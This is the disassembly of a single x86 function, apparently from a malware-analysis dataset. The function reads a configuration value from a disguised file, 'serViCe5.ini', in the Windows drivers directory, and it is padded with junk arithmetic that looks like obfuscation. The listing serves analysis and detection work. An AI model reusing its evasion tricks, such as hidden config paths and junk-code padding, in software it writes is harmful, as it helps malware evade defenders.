Function at 0x407420
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44a650
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xfe4
mov eax, dword [0x45e540]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0x820], eax
mov ebx, dword [0x45cbcc]
mov eax, 0x1006124d
imul dword [0x45cbd4]
sar edx, 0xc
mov eax, ebx
imul eax, eax, 0xdc65
mov dword [ebp - 0x81c], eax
mov esi, edx
mov ecx, dword [ebp + 0xc]
shr esi, 0x1f
add esi, edx
mov eax, 0x5fa6246b
imul ebx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0x100de
mov dword [ebp - 0x818], ecx
mov ecx, dword [ebp - 0x81c]
sub ecx, eax
add ecx, edx
mov eax, 0x2aa871e5
imul dword [0x45cbd4]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x2aa871e5
imul ebx
sar edx, 0xe
mov eax, ecx
add eax, esi
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cbe4]
add ecx, eax
imul edx, edx, 0xa88a
mov eax, dword [0x45cbe0]
imul eax, eax, 0xdc65
add eax, edx
mov dword [ebp - 0x81c], eax
mov eax, 0x3e77639f
imul ebx
mov eax, dword [ebp - 0x81c]
sar edx, 0xe
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x7f915fef
imul dword [0x45cbd4]
mov edi, dword [0x45cbe8]
imul edi, edi, 0xd60e
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add ecx, edi
sub eax, edi
sub eax, ecx
mov dword [str._r_____r____], ecx
lea ecx, [eax + esi + 0xa8e3]
mov eax, dword [ebp - 0x820]
test eax, eax
mov dword [0x45cbcc], ecx
je 0x407a81
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407563
sub eax, edx
mov dword [ebp - 0x81c], eax
je 0x407a81
mov eax, dword [ebp - 0x818]
push str.C:_WINDoWS_system32driversetc_serViCe5.ini
push 0x800
lea edx, [ebp - 0x814]
push edx
push 0x44ce89
push eax
push 0x44d160
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x45cbdc]
mov esi, dword [str._r_____r____]
mov ebx, dword [0x45cbd8]
lea edi, [ebx + esi]
imul esi, esi, 0xff9f
imul edi, edi, 0x100de
mov edx, ecx
imul edx, edx, 0xdc65
add edi, edx
mov eax, 0x3e77639f
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x1006124d
imul ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, eax
mov eax, dword [0x45cbe0]
add edx, eax
add edx, edi
lea edi, [esi + edx - 0xa88a]
lea esi, [ebp - 0x814]
lea edx, [esi + 1]
mov dword [0x45cbd4], edi
mov dword [ebp - 0x818], edx
mov dl, byte [esi]
inc esi
test dl, dl
jne 0x407616
sub esi, dword [ebp - 0x818]
mov dword [ebp - 0x818], esi
je 0x407a21
mov edx, dword [0x45cbcc]
imul eax, eax, 0x15433
imul ecx, ecx, 0xa88a
mov esi, dword [0x45cbd0]
add esi, edx
imul esi, esi, 0x15696
add esi, eax
mov eax, 0x7f915fef
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, ecx
mov ecx, dword [0x45cbe4]
sub esi, eax
mov eax, 0x2aa871e5
imul ecx
sar edx, 0xe
mov edi, edx
add esi, edx
mov eax, 0x1006124d
imul ecx
shr edi, 0x1f
sar edx, 0xc
add edi, esi
mov ecx, edx
add edi, edx
lea edx, [ebp - 0x814]
push edx
shr ecx, 0x1f
lea eax, [ebp - 0xff0]
add ecx, edi
push 0x1f4
push eax
mov dword [0x45cbdc], ecx
call fcn.0040fab0
add esp, 0xc
mov dword [ebp - 0x818], eax
xor edi, edi
jmp 0x4076c0
cmp edi, dword [ebp - 0x818]
jge 0x407a0f
mov ecx, dword [0x45cbd4]
mov edx, dword [0x45cbc8]
mov esi, dword [0x45cbd8]
lea ebx, [edx + ecx]
mov ecx, dword [str._r_____r____]
imul ebx, ebx, 0x10649
mov eax, 0x5fa6246b
imul esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x1840c0e3
imul ecx
imul ecx, ecx, 0xff9f
sar edx, 0xc
add ebx, edx
mov eax, edx
mov edx, dword [0x45cbe4]
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x2aa871e5
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x1006124d
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x820]
sub ebx, eax
add ebx, ecx
mov ecx, dword [ebp + edi*4 - 0xff0]
push ecx
push edx
mov dword [0x45cbe4], ebx
call fcn.004306a0
add esp, 8
test eax, eax
je 0x407a09
mov esi, dword [0x45cbd0]
mov eax, 0x94adc77f
imul esi
add edx, esi
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x6051edb
imul esi
sar edx, 0xb
add ecx, edx
mov edi, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0xa88a
shr edi, 0x1f
add edi, ecx
add edi, edx
mov eax, 0xc26c7c39
imul esi
add edx, esi
sar edx, 0xf
add edi, edx
mov ecx, edx
mov ebx, dword [0x45cbe0]
mov eax, 0x7f915fef
imul dword [0x45cbe4]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ecx, 0x1f
add ecx, edi
sub ecx, eax
mov eax, dword [0x45cbe8]
imul eax, eax, 0xd60e
mov dword [ebp - 0x820], eax
mov edx, ebx
imul ebx, ebx, 0xdc65
imul edx, edx, 0x8088
sub ecx, edx
mov eax, 0x1006124d
imul dword [0x45cbd4]
mov eax, dword [0x45cbe4]
imul eax, eax, 0xa88a
add ebx, eax
sar edx, 0xc
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x45cbcc]
mov eax, 0x3e77639f
imul edx
sar edx, 0xe
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x7f915fef
imul dword [0x45cbd4]
sar edx, 0xf
add ebx, edx
mov eax, edx
mov edx, dword [str._r_____r____]
shr eax, 0x1f
add eax, ebx
sub eax, dword [ebp - 0x820]
sub eax, edx
lea edx, [eax + edi + 0xa8e3]
mov eax, dword [0x5605ec]
inc eax
cmp eax, 5
mov dword [0x45cbc8], ecx
mov dword [0x45cbcc], edx
mov dword [0x5605ec], eax
jg 0x40797b
cmp dword [ebp + 0x10], 1
jne 0x40797b
mov eax, 0x1840c0e3
imul ecx, ecx, 0x100de
imul esi
mov esi, dword [0x45cbd8]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xc26c7c39
imul esi
add edx, esi
imul esi, esi, 0x18014
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
add eax, ecx
mov ecx, dword [0x45cbdc]
add eax, esi
mov ebx, eax
mov esi, dword [0x45cbcc]
mov eax, 0x2aa871e5
imul ecx
imul ecx, ecx, 0x100de
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbe4]
sub ebx, eax
sub ebx, edx
mov edx, dword [ebp - 0x820]
lea eax, [ebx + edx - 0xa88a]
mov dword [0x45cbd0], eax
mov eax, 0x5fa6246b
imul esi
mov ebx, esi
imul ebx, ebx, 0xdc65
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x2aa871e5
imul dword [0x45cbd4]
add ebx, ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x2aa871e5
imul esi
mov esi, dword [ebp - 0x820]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
sub ebx, ecx
add eax, edx
add ebx, edi
add eax, ebx
add eax, esi
mov dword [str._r_____r____], eax
mov eax, dword [0x5709c8]
mov ecx, dword [eax]
push eax
mov dword [ebp - 4], 0
call dword [ecx + 0x30]
mov ecx, dword [0x45cbc8]
mov esi, dword [0x45cbe8]
imul ecx, ecx, 0xff9f
mov eax, 0x94adc77f
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x264545a3
imul esi
imul esi, esi, 0xa88a
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, edi
sub ebx, esi
mov esi, dword [0x45cbe0]
mov eax, 0x3e77639f
imul esi
imul esi, esi, 0x10649
sar edx, 0xe
add ebx, edx
mov edi, edx
mov eax, 0x1006124d
imul dword [0x45cbd4]
shr edi, 0x1f
add edi, ebx
add edi, esi
add edi, ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov dword [0x45cbd8], edi
mov eax, 1
jmp 0x407a83
inc edi
jmp 0x4076c0
mov edi, dword [0x45cbd4]
mov ecx, dword [0x45cbdc]
mov ebx, dword [0x45cbd8]
mov edx, dword [0x45cbe8]
imul edi, edi, 0xd60e
imul ebx, ebx, 0x15433
mov eax, dword [0x45cbd0]
imul ecx, ecx, 0xa88a
lea esi, [eax + edx]
mov eax, 0x5fa6246b
imul esi, esi, 0xa8e3
imul edx
sar edx, 0xf
add esi, edx
mov eax, edx
mov edx, dword [0x45cbcc]
shr eax, 0x1f
add eax, esi
sub eax, edi
add eax, ebx
mov esi, eax
mov eax, 0x1840c0e3
imul edx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, ecx
mov dword [0x45cbe0], esi
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042fa4d
mov esp, ebp
pop ebp
ret